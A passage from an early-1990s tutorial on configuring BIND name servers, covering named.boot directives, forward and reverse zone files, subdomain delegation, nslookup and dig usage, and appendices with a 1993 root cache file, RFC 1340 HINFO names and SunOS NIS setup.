the large number of domains he has.  The structure is essentially the same,
but the file names use the domain name rather than the IP subnet to
describe the contents.

directory       /usr/local/etc/bind
cache     .                      p/root
forwarders      134.214.100.1 192.93.2.4
;
; Primary servers
;
primary   fr.net                        p/fr.net
primary   frmug.fr.net                  p/frmug.fr.net
primary   127.in-addr.arpa              p/127
;
; Secondary servers
;
secondary ensta.fr                 147.250.1.1     s/ensta.fr
secondary gatelink.fr.net          134.214.100.1   s/gatelink.fr.net
secondary insa-lyon.fr             134.214.100.1   s/insa-lyon.fr
secondary loesje.org               145.18.226.21   s/loesje.org
secondary nl.loesje.org            145.18.226.21   s/nl.loesje.org
secondary pcl.ac.uk                161.74.160.5    s/pcl.ac.uk
secondary univ-lyon1.fr            134.214.100.1   s/univ-lyon1.fr
secondary wmin.ac.uk               161.74.160.5    s/wmin.ac.uk
secondary westminster.ac.uk        161.74.160.5    s/westminster.ac.uk
;
;
; Secondary for addresses
;
secondary 74.161.in-addr.arpa      161.74.160.5    s/161.74
secondary 214.134.in-addr.arpa     134.214.100.1   s/134.214
secondary 250.147.in-addr.arpa     147.250.1.1     s/147.250
;
; Classes C
;
secondary 56.44.192.in-addr.arpa   147.250.1.1     s/192.44.56
secondary 57.44.192.in-addr.arpa   147.250.1.1     s/192.44.57

The lines in the named.boot file have the following meanings.

directory

This is the path that named will place in front of all file names
referenced from here on.  If no directory is specified, it looks for files
relative to /etc.

cache

This is the information that named uses to get started.  Named must know
the IP number of some other name servers at least to get started.
Information in the cache is treated differently depending on your version
of named.  Some versions of named use the information included in the cache
permenantly and others retain but ignore the cache information once up and
running.

primary

This is one of the domains for which this machine is authorative for.  You
put the entire domain name in.  You need forwards and reverse lookups.  The
first value is the domain to append to every name included in that file.
(There are some exceptions, but they will be explained later)  The name at
the end of the line is the name of the file (relative to /etc of the
directory if you specified one).  The filename can have slashes in it to
refer to subdirectories so if you have a lot of domains you may want to
split it up.

BE VERY CAREFUL TO PUT THE NUMBERS BACK TO FRONT FOR THE REVERSE LOOK UP
FILE.  The example given above is for the subnet ecel.uwa.edu.au whose IP
address is 130.95.4.*.  The reverse name must be 4.95.130.in-addr.arpa.
It must be backwards and it must end with .in-addr.arpa.  If your reverse
name lookups don't work, check this.  If they still don't work, check this
again.

forwarders

This is a list of IP numbers for forward requests for sites about which we
are unsure.  A good choice here is the name server which is authoritive for
the zone above you.

secondary (This line is not in the example, but is worth mentioning.)

A secondary line indicates that you wish to be a secondary name server for
this domain.  You do not need to do this usually.  All it does is help make
the DNS more robust.  You should have at least one secondary server for
your site, but you do not need to be a secondary server for anyone else.
You can by all means, but you don't need to be.  If you want to be a
secondary server for another domain, then place the line

secondary         gu.uwa.edu.au   130.95.100.3 130.95.128.1

in your named.boot.  This will make your named try the servers on both of
the machines specified to see if it can obtain the information about those
domains.  You can specify a number of IP addresses for the machines to
query that probably depends on your machine.  Your copy of named will upon
startup go and query all the information it can get about the domain in
question and remember it and act as though it were authoritive for that
domain.

Next you will want to start creating the data files that contain the name
definitions.

The cache file:

You can get a copy of the cache file from FTP.RS.INTERNIC.NET.  The current
copy can be found in Appendix A.

The Forward Mapping file:
The file ecel.uwa.edu.au. will be used for the example with a couple of
machines left in for the purpose of the exercise.  Here is a copy of what
the file looks like with explanations following.

; Authoritative data for ecel.uwa.edu.au
;
@		IN     SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
				93071200	; Serial (yymmddxx)
				10800		; Refresh 3 hours
				3600		; Retry   1 hour
				3600000 	; Expire  1000 hours
				86400 )		; Minimum 24 hours
		IN	A		130.95.4.2
		IN	MX	100  	decel
		IN	MX	150	uniwa.uwa.edu.au.
		IN	MX	200	relay1.uu.net.
		IN	MX	200	relay2.uu.net.

localhost	IN	A		127.0.0.1

decel		IN	A		130.95.4.2
		IN	HINFO	SUN4/110	 UNIX
		IN	MX	100	decel
		IN	MX	150	uniwa.uwa.edu.au.
		IN	MX	200	relay1.uu.net
		IN	MX	200	relay2.uu.net

gopher		IN	CNAME		decel.ecel.uwa.edu.au.

accfin		IN	A		130.95.4.3
		IN	HINFO	SUN4/110	 UNIX
		IN	MX	100	decel
		IN	MX	150	uniwa.uwa.edu.au.
		IN	MX	200	relay1.uu.net
		IN	MX	200	relay2.uu.net

chris-mac	IN	A		130.95.4.5
		IN	HINFO	MAC-II	MACOS

The comment character is ';' so the first two lines are just comments
indicating the contents of the file.

All values from here on have IN in them.  This indicates that the value is
an InterNet record.  There are a couple of other types, but all you need
concern yourself with is internet ones.

The SOA record is the Start Of Authority record.  It contains the
information that other nameservers will learn about this domain and how to
treat the information they are given about it.  The '@' as the first
character in the line indicates that you wish to define things about the
domain for which this file is responsible.  The domain name is found in the
named.boot file in the corresponding line to this filename.  All
information listed refers to the most recent machine/domain name so all
records from the '@' until 'localhost' refer to the '@'.  The SOA record
has 5 magic numbers.  First magic number is the serial number.  If you
change the file, change the serial number.  If you don't, no other name
servers will update their information.  The old information will sit around
for a very long time.

Refresh is the time between refreshing information about the SOA (correct
me if I am wrong).  Retry is the frequency of retrying if an authorative
server cannot be contacted.  Expire is how long a secondary name server
will keep information about a zone without successfully updating it or
confirming that the data is up to date.  This is to help the information
withstand fairly lengthy downtimes of machines or connections in the
network without having to recollect all the information.  Minimum is the
default time to live value handed out by a nameserver for all records in
a zone without an explicit TTL value. This is how long the data will live
after being handed out.  The two pieces of information before the 5 magic
numbers are the machine that is considered the origin of all of this
information.  Generally the machine that is running your named is a good
one for here.  The second is an email address for someone who can fix any
problems that may occur with the DNS.  Good ones here are postmaster,
hostmaster or root.  NOTE: You use dots and not '@' for the email address.

eg  root.decel.ecel.uwa.edu.au is correct
     and
    root@decel.ecel.uwa.edu.au is incorrect.

We now have an address to map ecel.uwa.edu.au to.  The address is
130.95.4.2 which happens to be decel, our main machine.  If you try to find
an IP number for the domain ecel.uwa.edu.au it will get you the machine
decel.ecel.uwa.edu.au's IP number.  This is a nicety which means that
people who have non-MX record mailers can still mail fred@ecel.uwa.edu.au
and don't have to find the name of a machine name under the domain to mail.

Now we have a couple of MX records for the domain itself.  The MX records
specify where to send mail destined for the machine/domain that the MX
record is for.  In this case we would prefer if all mail for
fred@ecel.uwa.edu.au is sent to decel.ecel.uwa.edu.au.  If that does not
work, we would like it to go to uniwa.uwa.edu.au because there are a number
of machines that might have no idea how to get to us, but may be able to get
to uniwa.  And failing that, try the site relay1.uu.net.  A small number
indicates that this site should be tried first.  The larget the number the
further down the list of sites to try the site is.  NOTE: Not all machines
have mailers that pay attention to MX records.  Some only pay attention to
IP numbers, which is really stupid.  All machines are required to have
MX-capable Mail Transfer Agents (MTA) as there are many addresses that can
only be reached via this means.

There is an entry for localhost now.  Note that this is somewhat of a
kludge and should probably be handled far more elegantly.  By placing
localhost here, a machine comes into existance called
localhost.ecel.uwa.edu.au.  If you finger it, or telnet to it, you get your
own machine, because the name lookup returns 127.0.0.1 which is the special
case for your own machine.  I have used a couple of different DNS packages.
The old BSD one let you put things into the cache which would always work,
but would not be exported to other nameservers.  In the newer Sun one, they
are left in the cache and are mostly ignored once named is up and running.
This isn't a bad solution, its just not a good one.

Decel is the main machine in our domain.  It has the IP number 130.95.4.2
and that is what this next line shows.  It also has a HINFO entry.  HINFO
is Host Info which is meant to be some sort of an indication of what the
machine is and what it runs.  The values are two white space seperated
values.  First being the hardware and second being the software.  HINFO is
not compulsory, its just nice to have sometimes.  We also have some MX
records so that mail destined for decel has some other avenues before it
bounces back to the sender if undeliverable.

It is a good idea to give all machines capable of handling mail an MX
record because this can be cached on remote machines and will help to
reduce the load on the network.

gopher.ecel.uwa.edu.au is the gopher server in our division.  Now because
we are cheapskates and don't want to go and splurge on a seperate machine
just for handling gopher requests we have made it a CNAME to our main
machine.  While it may seem pointless it does have one main advantage.
When we discover that our placing terrabytes of popular quicktime movies
on our gopher server (no we haven't and we don't intend to) causes an
unbearable load on our main machine, we can quickly move the CNAME to
point at a new machine by changing the name mentioned in the CNAME.  Then
the slime of the world can continue to get their essential movies with a
minimal interuption to the network.  Other good CNAMEs to maintain are
things like ftp, mailhost, netfind, archie, whois, and even dns (though the
most obvious use for this fails).  It also makes it easier for people to
find these services in your domain.

We should probably start using WKS records for things like gopher and whois
rather than making DNS names for them.  The tools are not in wide
circulation for this to work though.  (Plus all those comments in many DNS
implementation of "Not implemented" next to the WKS record)

Finally we have a macintosh which belongs to my boss.  All it needs is an
IP number, and we have included the HINFO so that you can see that it is in
fact a macII running a Mac System.  To get the list of preferred values,
you should get a copy of RFC 1340.  It lists lots of useful information
such as /etc/services values, ethernet manufacturer hardware addresses,
HINFO defualts and many others.  I will include the list as it stands at
the moment, but if any RFC superceeds 1340, then it will have a more
complete list.  See Appendix B for that list.

NOTE:  If Chris had a very high profile and wanted his mac to appear like a
fully connected unix machine as far as internet services were concerned, he
could simply place an MX record such as

	IN	MX	100  decel

after his machine and any mail sent to chris@chris-mac.ecel.uwa.edu.au
would be automatically rerouted to decel.

The Reverse Mapping File

The reverse name lookup is handled in a most bizarre fashion.  Well it all
makes sense, but it is not immediately obvious.

All of the reverse name lookups are done by finding the PTR record
associated with the name w.x.y.z.in-addr.arpa.  So to find the name
associated with the IP number 1.2.3.4, we look for information stored in
the DNS under the name 4.3.2.1.in-addr.arpa.  They are organised this way
so that when you are allocated a B class subnet for example, you get all of
the IP numbers in the domain 130.95.  Now to turn that into a reverse name
lookup domain, you have to invert the numbers or your registered domains
will be spread all over the place.  It is a mess and you need not understand
the finer points of it all.  All you need to know is that you put the
reverse name lookup files back to front.

Here is the sample reverse name lookup files to go with our example.

0.0.127.in-addr.arpa
--
;  Reverse mapping of domain names 0.0.127.in-addr.arpa
;  Nobody pays attention to this, it is only so 127.0.0.1 -> localhost.
@		IN	SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
				91061801	; Serial (yymmddxx)
				10800		; Refresh 3 hours
				3600		; Retry   1 hour
				3600000 	; Expire  1000 hours
				86400 )		; Minimum 24 hours
;
1		IN	PTR	    localhost.ecel.uwa.edu.au.
--

4.95.130.in-addr.arpa
--
;	reverse mapping of domain names 4.95.130.in-addr.arpa
;
@		IN	SOA decel.ecel.uwa.edu.au. postmaster.ecel.uwa.edu.au. (
				92050300	; Serial (yymmddxx format)
				10800		; Refresh	3hHours
				3600		; Retry		1 hour
				3600000		; Expire	1000 hours
				86400 )		; Minimum	24 hours
2		IN	PTR	decel.ecel.uwa.edu.au.
3		IN	PTR	accfin.ecel.uwa.edu.au.
5		IN	PTR	chris-mac.ecel.uwa.edu.au.
--

It is important to remember that you must have a second start of authority
record for the reverse name lookups.  Each reverse name lookup file must
have its own SOA record.  The reverse name lookup on the 127 domain is
debatable seeing as there is likely to be only one number in the file and
it is blatantly obvious what it is going to map to.

The SOA details are the same as in the forward mapping.

Each of the numbers listed down the left hand side indicates that the line
contains information for that number of the subnet.  Each of the subnets
must be the more significant digits.  eg the 130.95.4 of an IP number
130.95.4.2 is implicit for all numbers mentioned in the file.

The PTR must point to a machine that can be found in the DNS.  If the name
is not in the DNS, some versions of named just bomb out at this point.

Reverse name lookups are not compulsory, but nice to have.  It means that
when people log into machines, they get names indicating where they are
logged in from.  It makes it easier for you to spot things that are wrong
and it is far less cryptic than having lots of numbers everywhere.  Also if
you do not have a name for your machine, some brain dead protocols such as
talk will not allow you to connect.

Since I had this I had one suggestion of an alternative way to do the
localhost entry.  I think it is a matter of personal opinion so I'll
include it here in case anyone things that this is a more appropriate
method.

The following is courtesy of jep@convex.nl (JEP de Bie)

  The way I did it was:

  1) add in /etc/named.boot:

     primary   .                             localhost
     primary   127.in-addr.ARPA.             IP127

(Craig: It has been suggested by Mark Andrews that this is a bad practice
 particularly if you have upgraded to Bind 4.9.  You also run the risk of
 polluting the root name servers.  This comes down to a battle of idealogy
 and practicality.  Think twice before declaring yourself authorative for
 the root domain.)

  So I not only declare myself (falsely? - probably, but nobody is going to
  listen anyway most likely [CPR]:-) athorative in the 127.in-addr.ARPA domain
  but also in the . (root) domain.

  2) the file localhost has:

     $ORIGIN .
     localhost       IN      A       127.0.0.1

  3) and the file IP127:

     $ORIGIN 127.in-addr.ARPA.
     1.0.0   IN      PTR     localhost.

  4) and I have in my own domain file (convex.nl) the line:

     $ORIGIN convex.nl.
     localhost       IN      CNAME   localhost.

  The advantage (elegancy?) is that a query (A) of localhost. gives the
  reverse of the query of 1.0.0.127.in-addr.ARPA. And it also shows that
  localhost.convex.nl is only a nickname to something more absolute.
  (While the notion of localhost is of course relative :-)).

  And I also think there is a subtle difference between the lines

    primary   127.in-addr.ARPA.             IP127
      and
    primary   0.0.127.in-addr.ARPA.         4.95.130.domain
                                        =============
                                         JEP de Bie
                                        jep@convex.nl
                                        =============



Delegating authority for domains within your domain:

When you start having a very big domain that can be broken into logical and
seperate entities that can look after their own DNS information, you will
probably want to do this.  Maintain a central area for the things that
everyone needs to see and delegate the authority for the other parts of the
organisation so that they can manage themselves.

Another essential piece of information is that every domain that exists
must have it NS records associated with it.  These NS records denote the
name servers that are queried for information about that zone.  For your
zone to be recognised by the outside world, the server responsible for the
zone above you must have created a NS record for your machine in your
domain.  For example, putting the computer club onto the network and giving
them control over their own part of the domain space we have the following.

The machine authorative for gu.uwa.edu.au is mackerel and the machine
authorative for ucc.gu.uwa.edu.au is marlin.

in mackerel's data for gu.uwa.edu.au we have the following

@		IN	SOA ...
		IN	A	130.95.100.3
		IN	MX	mackerel.gu.uwa.edu.au.
		IN	MX	uniwa.uwa.edu.au.

marlin		IN	A	130.95.100.4

ucc		IN	NS	  marlin.gu.uwa.edu.au.
		IN	NS	mackerel.gu.uwa.edu.au.

Marlin is also given an IP in our domain as a convenience.  If they blow up
their name serving there is less that can go wrong because people can still
see that machine which is a start.  You could place "marlin.ucc" in the
first column and leave the machine totally inside the ucc domain as well.

The second NS line is because mackerel will be acting as secondary name
server for the ucc.gu domain.  Do not include this line if you are not
authorative for the information included in the sub-domain.


Troubleshooting your named:

Named doesn't work!  What is wrong?

Step 1:  Run nslookup and see what nameserver it tries to connect you to.
If nslookup connects you to the wrong nameserver, create a /etc/resolv.conf
file that points your machine at the correct nameserver.  If there is no
resolv.conf file, the the resolver uses the nameserver on the local
machine.

Step 2:  Make sure that named is actually running.

Step 3:  Restart named and see if you get any error messages on the
console and in also check /usr/adm/messages.

Step 4:  If named is running, nslookup connects to the appropriate
nameserver and nslookup can answer simple questions, but other programs
such as 'ping' do not work with names, then you need to install resolv+
most likely.


I changed my named database and my local machine has noticed, but nobody
else has the new information?

Change the serial number in the SOA for any domains that you modified and
restart named.  Wait an hour and check again.  The information propogates
out.  It won't change immediately.


My local machine knows about all the name server information, but no other
sites know about me?

Find an upstream nameserver (one that has an SOA for something in your
domain) and ask them to be a secondary name server for you.  eg if you are
ecel.uwa.edu.au, ask someone who has an SOA for the domain uwa.edu.au.
Get NS records (and glue) added to your parent zone for your zone. This is
called delegating. It should be done formally like this or you will get
inconsistant answers out of the DNS.  ALL NAMSERVERS FOR YOUR ZONE SHOULD
BE LISTED IN THIS MANNER.


My forward domain names work, but the backward names do not?

Make sure the numbers are back to front and have the in-addr.arpa on the
end.
Make sure you reverse zone is registered. For Class C nets this can be done
by mailing to hostmaster@internic.net. For class A & B nets make sure that
you are registeres with the primary for your net and that the net itself
is registered with hostmaster@internic.net.


How to get useful information from nslookup:

Nslookup is a very useful program but I'm sure there are less than 20
people worldwide who know how to use it to its full usefulness.  I'm most
certainly not one of them.  If you don't like using nslookup, there is at
least one other program called dig, that has most/all(?) of the
functionality of nslookup and is a hell of a lot easier to use.

I won't go into dig much here except to say that it is a lot easier to get
this information out of.  I won't bother because nslookup ships with almost
all machines that come with network software.

To run nslookup, you usually just type nslookup.  It will tell you the
server it connects to.  You can specify a different server if you want.
This is useful when you want to tell if your named information is
consistent with other servers.

Getting name to number mappings.

Type the name of the machine.  Typing 'decel' is enough if the machine is
local.

(Once you have run nslookup successfully)
> decel
Server:  ecel.uwa.edu.au
Address:  130.95.4.2

Name:    decel.ecel.uwa.edu.au
Address:  130.95.4.2

>

One curious quirk of some name resolvers is that if you type a
machine name, they will try a number of permutations.  For example if my
machine is in the domain ecel.uwa.edu.au and I try to find a machine
called fred, the resolver will try the following.

  fred.ecel.uwa.edu.au.
  fred.uwa.edu.au.
  fred.edu.au.
  fred.au.
  fred.

This can be useful, but more often than not, you would simply prefer a good
way to make aliases for machines that are commonly referenced.  If you are
running resolv+, you should just be able to put common machines into the
host file.

DIG: dig 

Getting number to name mappings.

Nslookup defaults to finding you the Address of the name specified.  For
reverse lookups you already have the address and you want to find the
name that goes with it.  If you read and understood the bit above where it
describes how to create the number to name mapping file, you would guess
that you need to find the PTR record instead of the A record.  So you do
the following.

> set type=ptr
> 2.4.95.130.in-addr.arpa
Server:  decel.ecel.uwa.edu.au
Address:  130.95.4.2

2.4.95.130.in-addr.arpa host name = decel.ecel.uwa.edu.au
>

nslookup tells you that the ptr for the machine name
2.4.95.130.in-addr.arpa points to the host decel.ecel.uwa.edu.au.

DIG: dig -x 

Finding where mail goes when a machine has no IP number.

When a machine is not IP connected, it needs to specify to the world, where
to send the mail so that it can dial up and collect it every now and then.
This is accomplished by setting up an MX record for the site and not giving
it an IP number.  To get the information out of nslookup as to where the
mail goes, do the following.

> set type=mx
> dialix.oz.au
Server:  decel.ecel.uwa.oz.au
Address:  130.95.4.2

Non-authoritative answer:
dialix.oz.au    preference = 100, mail exchanger = uniwa.uwa.OZ.AU
dialix.oz.au    preference = 200, mail exchanger = munnari.OZ.AU
Authoritative answers can be found from:
uniwa.uwa.OZ.AU inet address = 130.95.128.1
munnari.OZ.AU   inet address = 128.250.1.21
munnari.OZ.AU   inet address = 192.43.207.1
mulga.cs.mu.OZ.AU       inet address = 128.250.35.21
mulga.cs.mu.OZ.AU       inet address = 192.43.207.2
dmssyd.syd.dms.CSIRO.AU inet address = 130.155.16.1
ns.UU.NET       inet address = 137.39.1.3

You tell nslookup that you want to search for mx records and then you give
it the name of the machine.  It tells you the preference for the mail
(small means more preferable), and who the mail should be sent to.  It also
includes sites that are authorative (have this name in their named database
files) for this MX record.  There are multiple sites as a backup.  As can
be seen, our local public internet access company dialix would like all of
their mail to be sent to uniwa, where they collect it from.  If uniwa is
not up, send it to munnari and munnari will get it to uniwa eventually.

NOTE: For historical reasons Australia used to be .oz which was changed to
oz.au to move to the ISO standard extensions upon the advent of IP.  We
are now moving to a more normal heirarchy which is where the .edu.au comes
from.  Pity, I liked having oz.

DIG: dig  mx

Getting a list of machines in a domain from nslookup.

Find a server that is authorative for the domain or just generally all
knowing.  To find a good server, find all the soa records for a given
domain.  To do this, you set type=soa and enter the domain just like in the
two previous examples.

Once you have a server type

> ls gu.uwa.edu.au.
[uniwa.uwa.edu.au]
Host or domain name            Internet address
 gu                             server = mackerel.gu.uwa.edu.au
 gu                             server = uniwa.uwa.edu.au
 gu                             130.95.100.3
 snuffle-upagus                 130.95.100.131
 mullet                         130.95.100.2
 mackerel                       130.95.100.3
 marlin                         130.95.100.4
 gugate                         130.95.100.1
 gugate                         130.95.100.129
 helpdesk                       130.95.100.180
 lan                            130.95.100.0
 big-bird                       130.95.100.130

To get a list of all the machines in the domain.

If you wanted to find a list of all of the MX records for the domain, you
can put a -m flag in the ls command.

> ls -m gu.uwa.edu.au.
[uniwa.uwa.edu.au]
Host or domain name            Metric Host
 gu                             100  mackerel.gu.uwa.edu.au
 gu                             200  uniwa.uwa.edu.au

This only works for a limited selection of the different types.

DIG: dig axfr  @



Appendix A


;
;       This file holds the information on root name servers needed to
;       initialize cache of Internet domain name servers
;       (e.g. reference this file in the "cache  .  "
;       configuration file of BIND domain name servers).
;
;       This file is made available by InterNIC registration services
;       under anonymous FTP as
;           file                /domain/named.root
;           on server           FTP.RS.INTERNIC.NET
;       -OR- under Gopher at RS.INTERNIC.NET
;           under menu          InterNIC Registration Services (NSI)
;              submenu          InterNIC Registration Archives
;           file                named.root
;
;       last update:    April 21, 1993
;       related version of root zone:   930421
;
                        99999999 IN  NS    NS.INTERNIC.NET.
NS.INTERNIC.NET.         99999999     A     198.41.0.4
                        99999999     NS    KAVA.NISC.SRI.COM.
KAVA.NISC.SRI.COM.       99999999     A     192.33.33.24
                        99999999     NS    C.NYSER.NET.
C.NYSER.NET.             99999999     A     192.33.4.12
                        99999999     NS    TERP.UMD.EDU.
TERP.UMD.EDU.            99999999     A     128.8.10.90
                        99999999     NS    NS.NASA.GOV.
NS.NASA.GOV.             99999999     A     128.102.16.10
                         99999999     A     192.52.195.10
                        99999999     NS    NS.NIC.DDN.MIL.
NS.NIC.DDN.MIL.          99999999     A     192.112.36.4
                        99999999     NS    AOS.ARL.ARMY.MIL.
AOS.ARL.ARMY.MIL.        99999999     A     128.63.4.82
                         99999999     A     192.5.25.82
                        99999999     NS    NIC.NORDU.NET.
NIC.NORDU.NET.           99999999     A     192.36.148.17
; End of File


Appendix B

An Excerpt from
RFC 1340		    Assigned Numbers		       July 1992


			       MACHINE NAMES

   These are the Official Machine Names	as they	appear in the Domain Name
   System HINFO	records	and the	NIC Host Table.	 Their use is described	in
   RFC-952 [53].

   A machine name or CPU type may be up	to 40 characters taken from the
   set of uppercase letters, digits, and the two punctuation characters
   hyphen and slash.  It must start with a letter, and end with	a letter
   or digit.

      ALTO				    DEC-1080
      ALTOS-6800			    DEC-1090
      AMDAHL-V7				    DEC-1090B
      APOLLO				    DEC-1090T
      ATARI-104ST			    DEC-2020T
      ATT-3B1				    DEC-2040
      ATT-3B2				    DEC-2040T
      ATT-3B20				    DEC-2050T
      ATT-7300				    DEC-2060
      BBN-C/60				    DEC-2060T
      BURROUGHS-B/29			    DEC-2065
      BURROUGHS-B/4800			    DEC-FALCON
      BUTTERFLY				    DEC-KS10
      C/30				    DEC-VAX-11730
      C/70				    DORADO
      CADLINC				    DPS8/70M
      CADR				    ELXSI-6400
      CDC-170				    EVEREX-386
      CDC-170/750			    FOONLY-F2
      CDC-173				    FOONLY-F3
      CELERITY-1200			    FOONLY-F4
      CLUB-386				    GOULD
      COMPAQ-386/20			    GOULD-6050
      COMTEN-3690			    GOULD-6080
      CP8040				    GOULD-9050
      CRAY-1				    GOULD-9080
      CRAY-X/MP				    H-316
      CRAY-2				    H-60/68
      CTIWS-117				    H-68
      DANDELION				    H-68/80
      DEC-10				    H-89
      DEC-1050				    HONEYWELL-DPS-6
      DEC-1077				    HONEYWELL-DPS-8/70
      HP3000				    ONYX-Z8000
      HP3000/64				    PDP-11
      IBM-158				    PDP-11/3
      IBM-360/67			    PDP-11/23
      IBM-370/3033			    PDP-11/24
      IBM-3081				    PDP-11/34
      IBM-3084QX			    PDP-11/40
      IBM-3101				    PDP-11/44
      IBM-4331				    PDP-11/45
      IBM-4341				    PDP-11/50
      IBM-4361				    PDP-11/70
      IBM-4381				    PDP-11/73
      IBM-4956				    PE-7/32
      IBM-6152				    PE-3205
      IBM-PC				    PERQ
      IBM-PC/AT				    PLEXUS-P/60
      IBM-PC/RT				    PLI
      IBM-PC/XT				    PLURIBUS
      IBM-SERIES/1			    PRIME-2350
      IMAGEN				    PRIME-2450
      IMAGEN-8/300			    PRIME-2755
      IMSAI				    PRIME-9655
      INTEGRATED-SOLUTIONS		    PRIME-9755
      INTEGRATED-SOLUTIONS-68K		    PRIME-9955II
      INTEGRATED-SOLUTIONS-CREATOR	    PRIME-2250
      INTEGRATED-SOLUTIONS-CREATOR-8	    PRIME-2655
      INTEL-386				    PRIME-9955
      INTEL-IPSC			    PRIME-9950
      IS-1				    PRIME-9650
      IS-68010				    PRIME-9750
      LMI				    PRIME-2250
      LSI-11				    PRIME-750
      LSI-11/2				    PRIME-850
      LSI-11/23				    PRIME-550II
      LSI-11/73				    PYRAMID-90
      M68000				    PYRAMID-90MX
      MAC-II				    PYRAMID-90X
      MASSCOMP				    RIDGE
      MC500				    RIDGE-32
      MC68000				    RIDGE-32C
      MICROPORT				    ROLM-1666
      MICROVAX				    S1-MKIIA
      MICROVAX-I			    SMI
      MV/8000				    SEQUENT-BALANCE-8000
      NAS3-5				    SIEMENS
      NCR-COMTEN-3690			    SILICON-GRAPHICS
      NEXT/N1000-316			    SILICON-GRAPHICS-IRIS
      NOW				    SGI-IRIS-2400
      SGI-IRIS-2500			    SUN-3/50
      SGI-IRIS-3010			    SUN-3/60
      SGI-IRIS-3020			    SUN-3/75
      SGI-IRIS-3030			    SUN-3/80
      SGI-IRIS-3110			    SUN-3/110
      SGI-IRIS-3115			    SUN-3/140
      SGI-IRIS-3120			    SUN-3/150
      SGI-IRIS-3130			    SUN-3/160
      SGI-IRIS-4D/20			    SUN-3/180
      SGI-IRIS-4D/20G			    SUN-3/200
      SGI-IRIS-4D/25			    SUN-3/260
      SGI-IRIS-4D/25G			    SUN-3/280
      SGI-IRIS-4D/25S			    SUN-3/470
      SGI-IRIS-4D/50			    SUN-3/480
      SGI-IRIS-4D/50G			    SUN-4/60
      SGI-IRIS-4D/50GT			    SUN-4/110
      SGI-IRIS-4D/60			    SUN-4/150
      SGI-IRIS-4D/60G			    SUN-4/200
      SGI-IRIS-4D/60T			    SUN-4/260
      SGI-IRIS-4D/60GT			    SUN-4/280
      SGI-IRIS-4D/70			    SUN-4/330
      SGI-IRIS-4D/70G			    SUN-4/370
      SGI-IRIS-4D/70GT			    SUN-4/390
      SGI-IRIS-4D/80GT			    SUN-50
      SGI-IRIS-4D/80S			    SUN-100
      SGI-IRIS-4D/120GTX		    SUN-120
      SGI-IRIS-4D/120S			    SUN-130
      SGI-IRIS-4D/210GTX		    SUN-150
      SGI-IRIS-4D/210S			    SUN-170
      SGI-IRIS-4D/220GTX		    SUN-386i/250
      SGI-IRIS-4D/220S			    SUN-68000
      SGI-IRIS-4D/240GTX		    SYMBOLICS-3600
      SGI-IRIS-4D/240S			    SYMBOLICS-3670
      SGI-IRIS-4D/280GTX		    SYMMETRIC-375
      SGI-IRIS-4D/280S			    SYMULT
      SGI-IRIS-CS/12			    TANDEM-TXP
      SGI-IRIS-4SERVER-8		    TANDY-6000
      SPERRY-DCP/10			    TEK-6130
      SUN				    TI-EXPLORER
      SUN-2				    TP-4000
      SUN-2/50				    TRS-80
      SUN-2/100				    UNIVAC-1100
      SUN-2/120				    UNIVAC-1100/60
      SUN-2/130				    UNIVAC-1100/62
      SUN-2/140				    UNIVAC-1100/63
      SUN-2/150				    UNIVAC-1100/64
      SUN-2/160				    UNIVAC-1100/70
      SUN-2/170				    UNIVAC-1160
      UNKNOWN
      VAX-11/725
      VAX-11/730
      VAX-11/750
      VAX-11/780
      VAX-11/785
      VAX-11/790
      VAX-11/8600
      VAX-8600
      WANG-PC002
      WANG-VS100
      WANG-VS400
      WYSE-386
      XEROX-1108
      XEROX-8010
      ZENITH-148

			       SYSTEM NAMES

   These are the Official System Names as they appear in the Domain Name
   System HINFO	records	and the	NIC Host Table.	 Their use is described
   in RFC-952 [53].

   A system name may be	up to 40 characters taken from the set of upper-
   case	letters, digits, and the three punctuation characters hyphen,
   period, and slash.  It must start with a letter, and	end with a
   letter or digit.

   AEGIS		     LISP		       SUN OS 3.5
   APOLLO		     LISPM		       SUN OS 4.0
   AIX/370		     LOCUS		       SWIFT
   AIX-PS/2		     MACOS		       TAC
   BS-2000		     MINOS		       TANDEM
   CEDAR		     MOS		       TENEX
   CGW			     MPE5		       TOPS10
   CHORUS		     MSDOS		       TOPS20
   CHRYSALIS		     MULTICS		       TOS
   CMOS			     MUSIC		       TP3010
   CMS			     MUSIC/SP		       TRSDOS
   COS			     MVS		       ULTRIX
   CPIX			     MVS/SP		       UNIX
   CTOS			     NEXUS		       UNIX-BSD
   CTSS			     NMS		       UNIX-V1AT
   DCN			     NONSTOP		       UNIX-V
   DDNOS		     NOS-2		       UNIX-V.1
   DOMAIN		     NTOS		       UNIX-V.2
   DOS			     OS/DDP		       UNIX-V.3
   EDX			     OS/2		       UNIX-PC
   ELF			     OS4		       UNKNOWN
   EMBOS		     OS86		       UT2D
   EMMOS		     OSX		       V
   EPOS			     PCDOS		       VM
   FOONEX		     PERQ/OS		       VM/370
   FUZZ			     PLI		       VM/CMS
   GCOS			     PSDOS/MIT		       VM/SP
   GPOS			     PRIMOS		       VMS
   HDOS			     RMX/RDOS		       VMS/EUNICE
   IMAGEN		     ROS		       VRTX
   INTERCOM		     RSX11M		       WAITS
   IMPRESS		     RTE-A		       WANG
   INTERLISP		     SATOPS		       WIN32
   IOS			     SCO-XENIX/386	       X11R3
   IRIX			     SCS		       XDE
   ISI-68020		     SIMP		       XENIX
   ITS			     SUN



Appendix C     Installing DNS on a Sun when running NIS

====================
 2)     How to get DNS to be used when running NIS ?

        First setup the appropriate /etc/resolv.conf file.
        Something like this should do the "trick".

        ;
        ; Data file for a client.
        ;
        domain          local domain
        nameserver      address of primary domain nameserver
        nameserver      address of secondary domain nameserver

        where:  "local domain" is the domain part of the hostnames.
                 For example, if your hostname is "thor.ece.uc.edu"
                 your "local domain" is "ece.uc.edu".

        You will need to put a copy of this resolv.conf on
        all NIS(YP) servers including slaves.

        Under SunOS 4.1 and greater, change the "B=" at the top
        of the /var/yp/Makefile to "B=-b" and setup NIS in the
        usual fashion.

        You will need reboot or restart ypserv for these changes
        to take affect.

        Under 4.0.x, edit the Makefile or apply the following "diff":

*** Makefile.orig       Wed Jan 10 13:22:11 1990
--- Makefile    Wed Jan 10 13:22:01 1990
***************
*** 63 ****
!                   | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byname; \
--- 63 ----
!                   | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byname; \
***************
*** 66 ****
!                   | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
--- 66 ----
